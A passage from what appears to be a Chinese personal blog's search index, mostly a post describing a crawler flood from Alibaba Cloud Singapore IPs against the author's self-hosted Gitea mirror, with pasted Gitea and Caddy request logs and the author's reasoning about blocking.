(separated) Speed: 100G Autodetect: FORCE - 100G Eyes: 385, 365, 419, 366 Grade: 31012, 21952, 31012, 25147 Troubleshooting Info: No issue was observed. 当某个接口起不来的时候，不妨直接看 l1-show 的输出，在Troubleshooting Info一栏中，基本上有什么问题一目了然。\n","date":"November 12, 2025","matchCount":0,"permalink":"/post/cumulus-nvue/","preview":"","title":"Cumulus Linux 5.1 \u0026 NVUE 使用笔记"},{"content":"本来读了研也确实没有本科那么强的折腾精神了，服务器除了续费和升级软件也没怎么动过。按理说这么小的网站Googlebot都基本不访问才对，但偶然检查一下还是发现了一些异样。以下分享三则最近发现的乱爬案例。\n阿里云阴兵过境 第一关是不明新加坡阿里云爬虫。\n位于香港的服务器上一直运行着一个Gitea做自己GitHub的镜像，由于某些原因没有挂Cloudflare，我那点垃圾代码按理说也没人看吧。诶恰恰相反，其实早在很久之前就有相当数量的爬虫在爬，只是比较节制，不会爬个没完。直到前段时间登上腾讯云，发现一个月竟然差不多用完了1TB的流量，并非互联网上一个偏远角落的正常访问量。以7天为尺度观察统计图表，好家伙直接把我CPU全跑满了呀。\n腾讯云的统计 不过话说回来幸亏是CPU-bound的Gitea，CPU打满了，30M的带宽还没打满，不然下场估计是先被腾讯断网，现在跑得慢但起码还能访问。导出Gitea的日志一看（共49万行），大部分是我本科边抄边写的操作系统实验，算是别人的代码，不是垃圾代码：\nlog 复制代码 Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/rss/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab3_result/tools/sign.c for 47.79.214.90:0, 404 Not Found in 0.2ms @ \u0026lt;autogenerated\u0026gt;:1(WebNotFound) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/commits/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab3_result/tools/kernel.ld for 47.79.199.163:0, 200 OK in 365.3ms @ repo/commit.go:44(repo.RefCommits) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/printfmt.c for 47.79.215.248:0, 200 OK in 518.0ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab1_result/tools/lab1init for 47.79.197.254:0, 200 OK in 481.5ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/rss/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab2_result/libs/stdarg.h for 47.79.193.156:0, 404 Not Found in 0.5ms @ \u0026lt;autogenerated\u0026gt;:1(WebNotFound) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/commits/commit/0a7d3faa0b7804e45252a70e583ede3459b16949/labcodes/lab7/tools for 47.79.213.176:0, 200 OK in 223.1ms @ repo/commit.go:44(repo.RefCommits) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/string.h for 47.79.199.252:0, 200 OK in 568.3ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/raw/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab2_result/libs/error.h for 47.79.215.8:0, 200 OK in 201.5ms @ repo/download.go:111(repo.SingleDownload) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/0a7d3faa0b7804e45252a70e583ede3459b16949/labcodes_answer/lab2_result/kern/debug for 47.79.204.14:0, 200 OK in 351.2ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab2_result/kern/libs/readline.c for 47.79.213.33:0, 200 OK in 519.4ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/raw/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab3_result/tools/kernel.ld for 47.79.194.9:0, 200 OK in 121.7ms @ repo/download.go:111(repo.SingleDownload) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/stdlib.h for 47.79.192.216:0, 200 OK in 272.8ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/dirent.h for 47.79.205.12:0, 200 OK in 283.5ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/commits/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs for 47.79.212.251:0, 200 OK in 163.6ms @ repo/commit.go:44(repo.RefCommits) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/blame/commit/d41b9e7f4fce933f5ce58c9c42e2f0bd5c7f6fc4/labcodes/lab7/Makefile for 47.79.213.33:0, 200 OK in 521.9ms @ repo/blame.go:42(repo.RefBlame) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/0a7d3faa0b7804e45252a70e583ede3459b16949/labcodes/lab7/tools/kernel.ld for 47.79.194.123:0, 200 OK in 392.8ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab3_result/tools for 47.79.192.112:0, 200 OK in 138.9ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/commits/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab3_result/tools/sign.c for 47.79.205.59:0, 200 OK in 105.0ms @ repo/commit.go:44(repo.RefCommits) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/defs.h for 47.79.192.12:0, 200 OK in 154.0ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/x86.h for 47.79.192.12:0, 200 OK in 345.3ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/blame/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab2_result/libs/defs.h for 47.79.198.73:0, 200 OK in 164.4ms @ repo/blame.go:42(repo.RefBlame)Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/rss/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab3_result/tools/sign.c for 47.79.214.90:0, 404 Not Found in 0.2ms @ \u0026lt;autogenerated\u0026gt;:1(WebNotFound) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/commits/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab3_result/tools/kernel.ld for 47.79.199.163:0, 200 OK in 365.3ms @ repo/commit.go:44(repo.RefCommits) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/printfmt.c for 47.79.215.248:0, 200 OK in 518.0ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab1_result/tools/lab1init for 47.79.197.254:0, 200 OK in 481.5ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/rss/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab2_result/libs/stdarg.h for 47.79.193.156:0, 404 Not Found in 0.5ms @ \u0026lt;autogenerated\u0026gt;:1(WebNotFound) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/commits/commit/0a7d3faa0b7804e45252a70e583ede3459b16949/labcodes/lab7/tools for 47.79.213.176:0, 200 OK in 223.1ms @ repo/commit.go:44(repo.RefCommits) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/string.h for 47.79.199.252:0, 200 OK in 568.3ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/raw/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab2_result/libs/error.h for 47.79.215.8:0, 200 OK in 201.5ms @ repo/download.go:111(repo.SingleDownload) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/0a7d3faa0b7804e45252a70e583ede3459b16949/labcodes_answer/lab2_result/kern/debug for 47.79.204.14:0, 200 OK in 351.2ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab2_result/kern/libs/readline.c for 47.79.213.33:0, 200 OK in 519.4ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/raw/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab3_result/tools/kernel.ld for 47.79.194.9:0, 200 OK in 121.7ms @ repo/download.go:111(repo.SingleDownload) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/stdlib.h for 47.79.192.216:0, 200 OK in 272.8ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/dirent.h for 47.79.205.12:0, 200 OK in 283.5ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/commits/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs for 47.79.212.251:0, 200 OK in 163.6ms @ repo/commit.go:44(repo.RefCommits) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/blame/commit/d41b9e7f4fce933f5ce58c9c42e2f0bd5c7f6fc4/labcodes/lab7/Makefile for 47.79.213.33:0, 200 OK in 521.9ms @ repo/blame.go:42(repo.RefBlame) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/0a7d3faa0b7804e45252a70e583ede3459b16949/labcodes/lab7/tools/kernel.ld for 47.79.194.123:0, 200 OK in 392.8ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab3_result/tools for 47.79.192.112:0, 200 OK in 138.9ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/commits/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab3_result/tools/sign.c for 47.79.205.59:0, 200 OK in 105.0ms @ repo/commit.go:44(repo.RefCommits) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/defs.h for 47.79.192.12:0, 200 OK in 154.0ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/src/commit/a29ae0982ac021cc2abeb75004af69b1b0d29f53/labcodes_answer/lab8_result/libs/x86.h for 47.79.192.12:0, 200 OK in 345.3ms @ repo/view_home.go:332(repo.Home) Aug 05 08:57:04 VM-8-17-ubuntu gitea[4160705]: 2025/08/05 08:57:04 ...eb/routing/logger.go:102:func1() [I] router: completed GET /cyp0633/ucore-lab/blame/commit/5204cd45e8a0f09f7a27ddad803bf28d56474dba/labcodes_answer/lab2_result/libs/defs.h for 47.79.198.73:0, 200 OK in 164.4ms @ repo/blame.go:42(repo.RefBlame) vibe了一个分析脚本，发现28分钟的记录时间内处理了 56182 个请求，平均每分钟高达2000多个；请求来自于750个不同的IP，全都来自于47.79.0.0/16这个阿里云新加坡的IP段，这样分摊到每个IP上，半个小时不到200次请求，看起来非常的人畜无害。这使得手写IP封禁或者速率限制变得不切实际。为了保险起见，该日先把Gitea关掉了。\n为了进一步确认这些IP的身份，将Gitea暂时关闭数天后，还导出了Caddy的日志。\nlog 复制代码 Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2537313,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.201.138\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;56801\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.201.138\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/b66679d36acc0443078dafdfc5452880f376e015/layouts/partials/footer/script.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000190728,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;00uu9mrsp\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.260209,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.212.84\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;39054\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.212.84\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/25581cc44637909a75aacdf33f896192f0569689/layouts/partials/head/opengraph/include.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000227457,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;aa84vne2s\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2617188,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.206.1\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;30313\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.206.1\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/blame/commit/25a72940b8184b41de36fec9a3fcdd6387e006b0/layouts/partials/sidebar/left.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000177793,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;7jqfa7yiq\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2736785,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.198.78\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;25315\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.198.78\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/2fd3bde9a40790bf98893b0c5062a2f4c0ac9d8f/layouts/partials/article-list/compact.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;User-Agent\u